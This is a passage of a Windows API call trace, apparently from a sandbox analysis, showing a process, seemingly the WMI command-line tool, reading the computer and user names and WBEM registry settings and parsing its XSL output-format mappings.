(_Size=0x20) returned 0x1564d0 [0150.202] GetComputerNameW (in: lpBuffer=0x1564d0, nSize=0x20f540 | out: lpBuffer="Q9IATRKPRH", nSize=0x20f540) returned 1 [0150.203] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.203] malloc (_Size=0x16) returned 0x157fb0 [0150.203] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.203] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x20f538 | out: lpNameBuffer=0x0, nSize=0x20f538) returned 0x7fffffde000 [0150.209] GetLastError () returned 0xea [0150.209] malloc (_Size=0x2c) returned 0x156500 [0150.209] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x156500, nSize=0x20f538 | out: lpNameBuffer="Q9IATRKPRH\\kEecfMwgj", nSize=0x20f538) returned 0x1 [0150.210] lstrlenW (lpString="") returned 0 [0150.210] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.210] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="", cchCount2=0) returned 3 [0150.217] lstrlenW (lpString=".") returned 1 [0150.217] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.217] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2=".", cchCount2=1) returned 3 [0150.217] lstrlenW (lpString="LOCALHOST") returned 9 [0150.217] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="LOCALHOST", cchCount2=9) returned 3 [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="Q9IATRKPRH", cchCount2=10) returned 2 [0150.218] free (_Block=0x157fb0) [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] malloc (_Size=0x16) returned 0x157fb0 [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.218] malloc (_Size=0x16) returned 0x156540 [0150.218] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.219] malloc (_Size=0x8) returned 0x156560 [0150.219] malloc (_Size=0x18) returned 0x156580 [0150.219] malloc (_Size=0x30) returned 0x1565a0 [0150.219] malloc (_Size=0x18) returned 0x1565e0 [0150.219] SysStringLen (param_1="IDENTIFY") returned 0x8 [0150.219] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0150.219] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0150.219] SysStringLen (param_1="IDENTIFY") returned 0x8 [0150.219] malloc (_Size=0x30) returned 0x156600 [0150.219] malloc (_Size=0x18) returned 0x156640 [0150.220] SysStringLen (param_1="IMPERSONATE") returned 0xb [0150.220] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0150.220] SysStringLen (param_1="IMPERSONATE") returned 0xb [0150.220] SysStringLen (param_1="IDENTIFY") returned 0x8 [0150.221] SysStringLen (param_1="IDENTIFY") returned 0x8 [0150.221] SysStringLen (param_1="IMPERSONATE") returned 0xb [0150.221] malloc (_Size=0x30) returned 0x156660 [0150.221] malloc (_Size=0x18) returned 0x1566a0 [0150.221] SysStringLen (param_1="DELEGATE") returned 0x8 [0150.221] SysStringLen (param_1="IDENTIFY") returned 0x8 [0150.221] SysStringLen (param_1="DELEGATE") returned 0x8 [0150.221] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0150.221] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0150.224] SysStringLen (param_1="DELEGATE") returned 0x8 [0150.224] malloc (_Size=0x30) returned 0x1566c0 [0150.224] malloc (_Size=0x18) returned 0x156700 [0150.224] malloc (_Size=0x30) returned 0x156720 [0150.224] malloc (_Size=0x18) returned 0x156760 [0150.224] SysStringLen (param_1="NONE") returned 0x4 [0150.224] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.224] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.224] SysStringLen (param_1="NONE") returned 0x4 [0150.224] malloc (_Size=0x30) returned 0x156780 [0150.224] malloc (_Size=0x18) returned 0x1567c0 [0150.224] SysStringLen (param_1="CONNECT") returned 0x7 [0150.224] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.225] malloc (_Size=0x30) returned 0x1567e0 [0150.225] malloc (_Size=0x18) returned 0x156820 [0150.225] SysStringLen (param_1="CALL") returned 0x4 [0150.225] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.225] SysStringLen (param_1="CALL") returned 0x4 [0150.225] SysStringLen (param_1="CONNECT") returned 0x7 [0150.225] malloc (_Size=0x30) returned 0x156840 [0150.225] malloc (_Size=0x18) returned 0x156880 [0150.225] SysStringLen (param_1="PKT") returned 0x3 [0150.225] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.225] SysStringLen (param_1="PKT") returned 0x3 [0150.225] SysStringLen (param_1="NONE") returned 0x4 [0150.225] SysStringLen (param_1="NONE") returned 0x4 [0150.225] SysStringLen (param_1="PKT") returned 0x3 [0150.226] malloc (_Size=0x30) returned 0x158000 [0150.226] malloc (_Size=0x18) returned 0x156ca0 [0150.226] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.226] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.226] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.226] SysStringLen (param_1="NONE") returned 0x4 [0150.226] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.226] SysStringLen (param_1="PKT") returned 0x3 [0150.226] SysStringLen (param_1="PKT") returned 0x3 [0150.227] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.227] malloc (_Size=0x30) returned 0x158040 [0150.227] malloc (_Size=0x18) returned 0x156cc0 [0150.227] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0150.227] SysStringLen (param_1="DEFAULT") returned 0x7 [0150.227] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0150.227] SysStringLen (param_1="PKT") returned 0x3 [0150.227] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0150.227] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.227] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0150.227] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0150.227] malloc (_Size=0x30) returned 0x158080 [0150.227] malloc (_Size=0x40) returned 0x156ce0 [0150.228] malloc (_Size=0x20a) returned 0x158fd0 [0150.228] GetSystemDirectoryW (in: lpBuffer=0x158fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0150.229] free (_Block=0x158fd0) [0150.229] malloc (_Size=0x18) returned 0x156d30 [0150.229] malloc (_Size=0x18) returned 0x156d50 [0150.229] malloc (_Size=0x18) returned 0x156d70 [0150.229] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0150.229] SysStringLen (param_1="\\wbem\\") returned 0x6 [0150.230] memcpy (in: _Dst=0x3f6708, _Src=0x411408, _Size=0x28 | out: _Dst=0x3f6708) returned 0x3f6708 [0150.230] memcpy (in: _Dst=0x3f672e, _Src=0x410a38, _Size=0xe | out: _Dst=0x3f672e) returned 0x3f672e [0150.230] free (_Block=0x156d30) [0150.230] free (_Block=0x156d50) [0150.230] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0150.230] free (_Block=0x156d70) [0150.230] malloc (_Size=0x18) returned 0x156d30 [0150.230] malloc (_Size=0x18) returned 0x156d50 [0150.231] malloc (_Size=0x18) returned 0x156d70 [0150.231] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0150.231] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0150.231] memcpy (in: _Dst=0x414898, _Src=0x3f6758, _Size=0x34 | out: _Dst=0x414898) returned 0x414898 [0150.231] memcpy (in: _Dst=0x4148ca, _Src=0x411408, _Size=0x22 | out: _Dst=0x4148ca) returned 0x4148ca [0150.231] free (_Block=0x156d30) [0150.231] free (_Block=0x156d50) [0150.231] GetCurrentThreadId () returned 0xfdc [0150.232] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x20ee40 | out: phkResult=0x20ee40*=0x108) returned 0x0 [0150.232] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x20ee90, lpcbData=0x20ee30*=0x400 | out: lpType=0x0, lpData=0x20ee90*=0x30, lpcbData=0x20ee30*=0x4) returned 0x0 [0150.232] _wcsicmp (_String1="0", _String2="1") returned -1 [0150.232] _wcsicmp (_String1="0", _String2="2") returned -2 [0150.232] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x20ee30*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x20ee30*=0x42) returned 0x0 [0150.232] malloc (_Size=0x86) returned 0x156d90 [0150.232] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x156d90, lpcbData=0x20ee30*=0x42 | out: lpType=0x0, lpData=0x156d90*=0x25, lpcbData=0x20ee30*=0x42) returned 0x0 [0150.233] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0150.233] malloc (_Size=0x42) returned 0x156e20 [0150.233] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0150.233] RegQueryValueExW (in: hKey=0x108, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x20ee90, lpcbData=0x20ee30*=0x400 | out: lpType=0x0, lpData=0x20ee90*=0x36, lpcbData=0x20ee30*=0xc) returned 0x0 [0150.233] _wtol (_String="65536") returned 65536 [0150.234] free (_Block=0x156d90) [0150.234] RegCloseKey (hKey=0x0) returned 0x6 [0150.234] CoCreateInstance (in: rclsid=0xff1e7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1e73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x20f338 | out: ppv=0x20f338*=0x20a71d0) returned 0x0 [0150.281] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x20a71d0, xmlSource=0x20f480*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x156d30), isSuccessful=0x20f4f0 | out: isSuccessful=0x20f4f0*=0xffff) returned 0x0 [0150.654] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x20a71d0, DOMElement=0x20f330 | out: DOMElement=0x20f330*=0x20abc50) returned 0x0 [0150.654] malloc (_Size=0x18) returned 0x156e70 [0150.654] IXMLDOMElement:getElementsByTagName (in: This=0x20abc50, tagName="XSLFORMAT", resultList=0x20f340 | out: resultList=0x20f340*=0x20a9cc0) returned 0x0 [0150.655] free (_Block=0x156e70) [0150.655] IXMLDOMNodeList:get_length (in: This=0x20a9cc0, listLength=0x20f508 | out: listLength=0x20f508*=21) returned 0x0 [0150.656] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=0, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.656] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.656] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.656] malloc (_Size=0x18) returned 0x156e70 [0150.656] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.656] free (_Block=0x156e70) [0150.656] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x4)) returned 0x0 [0150.657] malloc (_Size=0x18) returned 0x156e70 [0150.657] malloc (_Size=0x18) returned 0x156e90 [0150.657] malloc (_Size=0x30) returned 0x1580c0 [0150.657] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.657] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.657] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.657] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=1, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.657] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="textvaluelist.xsl") returned 0x0 [0150.657] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.658] malloc (_Size=0x18) returned 0x156d30 [0150.658] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.658] free (_Block=0x156d30) [0150.658] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x4)) returned 0x0 [0150.658] malloc (_Size=0x18) returned 0x15c380 [0150.658] malloc (_Size=0x18) returned 0x15c3a0 [0150.658] SysStringLen (param_1="VALUE") returned 0x5 [0150.658] SysStringLen (param_1="TABLE") returned 0x5 [0150.658] SysStringLen (param_1="TABLE") returned 0x5 [0150.658] SysStringLen (param_1="VALUE") returned 0x5 [0150.659] malloc (_Size=0x30) returned 0x158100 [0150.659] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.659] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.659] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.659] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=2, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.659] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="textvaluelist.xsl") returned 0x0 [0150.659] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.659] malloc (_Size=0x18) returned 0x15c3c0 [0150.659] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.659] free (_Block=0x15c3c0) [0150.659] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x4)) returned 0x0 [0150.660] malloc (_Size=0x18) returned 0x15c3c0 [0150.660] malloc (_Size=0x18) returned 0x15c3e0 [0150.660] SysStringLen (param_1="LIST") returned 0x4 [0150.660] SysStringLen (param_1="TABLE") returned 0x5 [0150.660] malloc (_Size=0x30) returned 0x158140 [0150.660] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.660] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.660] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.660] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=3, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.660] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="rawxml.xsl") returned 0x0 [0150.660] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.660] malloc (_Size=0x18) returned 0x15c400 [0150.661] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.661] free (_Block=0x15c400) [0150.661] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x4)) returned 0x0 [0150.661] malloc (_Size=0x18) returned 0x15c400 [0150.661] malloc (_Size=0x18) returned 0x15c420 [0150.661] SysStringLen (param_1="RAWXML") returned 0x6 [0150.661] SysStringLen (param_1="TABLE") returned 0x5 [0150.661] SysStringLen (param_1="RAWXML") returned 0x6 [0150.661] SysStringLen (param_1="LIST") returned 0x4 [0150.661] SysStringLen (param_1="LIST") returned 0x4 [0150.661] SysStringLen (param_1="RAWXML") returned 0x6 [0150.662] malloc (_Size=0x30) returned 0x158180 [0150.662] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.662] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.662] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.662] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=4, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.662] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="htable.xsl") returned 0x0 [0150.662] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.662] malloc (_Size=0x18) returned 0x15c440 [0150.662] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.662] free (_Block=0x15c440) [0150.662] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x4)) returned 0x0 [0150.663] malloc (_Size=0x18) returned 0x15c440 [0150.663] malloc (_Size=0x18) returned 0x15c460 [0150.663] SysStringLen (param_1="HTABLE") returned 0x6 [0150.663] SysStringLen (param_1="TABLE") returned 0x5 [0150.663] SysStringLen (param_1="HTABLE") returned 0x6 [0150.663] SysStringLen (param_1="LIST") returned 0x4 [0150.663] malloc (_Size=0x30) returned 0x1581c0 [0150.663] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.663] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.663] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.663] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=5, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.663] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="hform.xsl") returned 0x0 [0150.664] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.664] malloc (_Size=0x18) returned 0x15c480 [0150.664] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.664] free (_Block=0x15c480) [0150.664] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x4)) returned 0x0 [0150.664] malloc (_Size=0x18) returned 0x15c480 [0150.664] malloc (_Size=0x18) returned 0x15c4a0 [0150.664] SysStringLen (param_1="HFORM") returned 0x5 [0150.664] SysStringLen (param_1="TABLE") returned 0x5 [0150.664] SysStringLen (param_1="HFORM") returned 0x5 [0150.664] SysStringLen (param_1="LIST") returned 0x4 [0150.664] SysStringLen (param_1="HFORM") returned 0x5 [0150.664] SysStringLen (param_1="HTABLE") returned 0x6 [0150.664] malloc (_Size=0x30) returned 0x158200 [0150.665] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.665] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.665] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.665] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=6, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.666] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="xml.xsl") returned 0x0 [0150.666] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.666] malloc (_Size=0x18) returned 0x15c4c0 [0150.666] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.666] free (_Block=0x15c4c0) [0150.668] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x4)) returned 0x0 [0150.668] malloc (_Size=0x18) returned 0x15c4c0 [0150.668] malloc (_Size=0x18) returned 0x15c4e0 [0150.668] SysStringLen (param_1="XML") returned 0x3 [0150.668] SysStringLen (param_1="TABLE") returned 0x5 [0150.668] SysStringLen (param_1="XML") returned 0x3 [0150.668] SysStringLen (param_1="VALUE") returned 0x5 [0150.668] SysStringLen (param_1="VALUE") returned 0x5 [0150.668] SysStringLen (param_1="XML") returned 0x3 [0150.668] malloc (_Size=0x30) returned 0x158240 [0150.669] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.669] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.669] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.669] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=7, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.669] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="mof.xsl") returned 0x0 [0150.669] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.669] malloc (_Size=0x18) returned 0x15c500 [0150.669] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.669] free (_Block=0x15c500) [0150.670] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x4)) returned 0x0 [0150.670] malloc (_Size=0x18) returned 0x15c500 [0150.670] malloc (_Size=0x18) returned 0x15c520 [0150.670] SysStringLen (param_1="MOF") returned 0x3 [0150.670] SysStringLen (param_1="TABLE") returned 0x5 [0150.670] SysStringLen (param_1="MOF") returned 0x3 [0150.670] SysStringLen (param_1="LIST") returned 0x4 [0150.670] SysStringLen (param_1="MOF") returned 0x3 [0150.670] SysStringLen (param_1="RAWXML") returned 0x6 [0150.670] SysStringLen (param_1="LIST") returned 0x4 [0150.670] SysStringLen (param_1="MOF") returned 0x3 [0150.670] malloc (_Size=0x30) returned 0x158280 [0150.671] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.671] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.671] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.671] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=8, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.671] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="csv.xsl") returned 0x0 [0150.671] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.671] malloc (_Size=0x18) returned 0x15c540 [0150.671] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.671] free (_Block=0x15c540) [0150.671] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x4)) returned 0x0 [0150.671] malloc (_Size=0x18) returned 0x15c540 [0150.672] malloc (_Size=0x18) returned 0x15c560 [0150.672] SysStringLen (param_1="CSV") returned 0x3 [0150.672] SysStringLen (param_1="TABLE") returned 0x5 [0150.672] SysStringLen (param_1="CSV") returned 0x3 [0150.672] SysStringLen (param_1="LIST") returned 0x4 [0150.672] SysStringLen (param_1="CSV") returned 0x3 [0150.672] SysStringLen (param_1="HTABLE") returned 0x6 [0150.672] SysStringLen (param_1="CSV") returned 0x3 [0150.672] SysStringLen (param_1="HFORM") returned 0x5 [0150.672] malloc (_Size=0x30) returned 0x1582c0 [0150.672] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.672] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.672] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.673] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=9, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.673] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.673] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.673] malloc (_Size=0x18) returned 0x15c580 [0150.673] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.673] free (_Block=0x15c580) [0150.673] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x4)) returned 0x0 [0150.673] malloc (_Size=0x18) returned 0x15c580 [0150.673] malloc (_Size=0x18) returned 0x15c5a0 [0150.674] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.674] SysStringLen (param_1="TABLE") returned 0x5 [0150.674] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.674] SysStringLen (param_1="VALUE") returned 0x5 [0150.674] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.674] SysStringLen (param_1="XML") returned 0x3 [0150.674] SysStringLen (param_1="XML") returned 0x3 [0150.674] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.674] malloc (_Size=0x30) returned 0x158300 [0150.674] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.674] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.674] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.674] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=10, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.675] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.675] IXMLDOMNode:get_attributes (in: This=0x20abd50, attributeMap=0x20f318 | out: attributeMap=0x20f318*=0x20a78d0) returned 0x0 [0150.675] malloc (_Size=0x18) returned 0x15c5c0 [0150.675] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20a78d0, name="KEYWORD", namedItem=0x20f328 | out: namedItem=0x20f328*=0x20aa280) returned 0x0 [0150.675] free (_Block=0x15c5c0) [0150.675] IXMLDOMNode:get_nodeValue (in: This=0x20aa280, value=0x20f360 | out: value=0x20f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x4)) returned 0x0 [0150.675] malloc (_Size=0x18) returned 0x15c5c0 [0150.675] malloc (_Size=0x18) returned 0x15c5e0 [0150.675] SysStringLen (param_1="texttablewsys") returned 0xd [0150.675] SysStringLen (param_1="TABLE") returned 0x5 [0150.676] SysStringLen (param_1="texttablewsys") returned 0xd [0150.676] SysStringLen (param_1="XML") returned 0x3 [0150.676] SysStringLen (param_1="texttablewsys") returned 0xd [0150.676] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0150.676] SysStringLen (param_1="XML") returned 0x3 [0150.676] SysStringLen (param_1="texttablewsys") returned 0xd [0150.676] malloc (_Size=0x30) returned 0x158340 [0150.676] IUnknown:Release (This=0x20abd50) returned 0x0 [0150.676] IUnknown:Release (This=0x20a78d0) returned 0x0 [0150.676] IUnknown:Release (This=0x20aa280) returned 0x0 [0150.676] IXMLDOMNodeList:get_item (in: This=0x20a9cc0, index=11, listItem=0x20f310 | out: listItem=0x20f310*=0x20abd50) returned 0x0 [0150.676] IXMLDOMNode:get_text (in: This=0x20abd50, text=0x20f320 | out: text=0x20f320*="texttable.xsl") returned 0x0 [0150.676] IXMLDOMNode:get_attributes 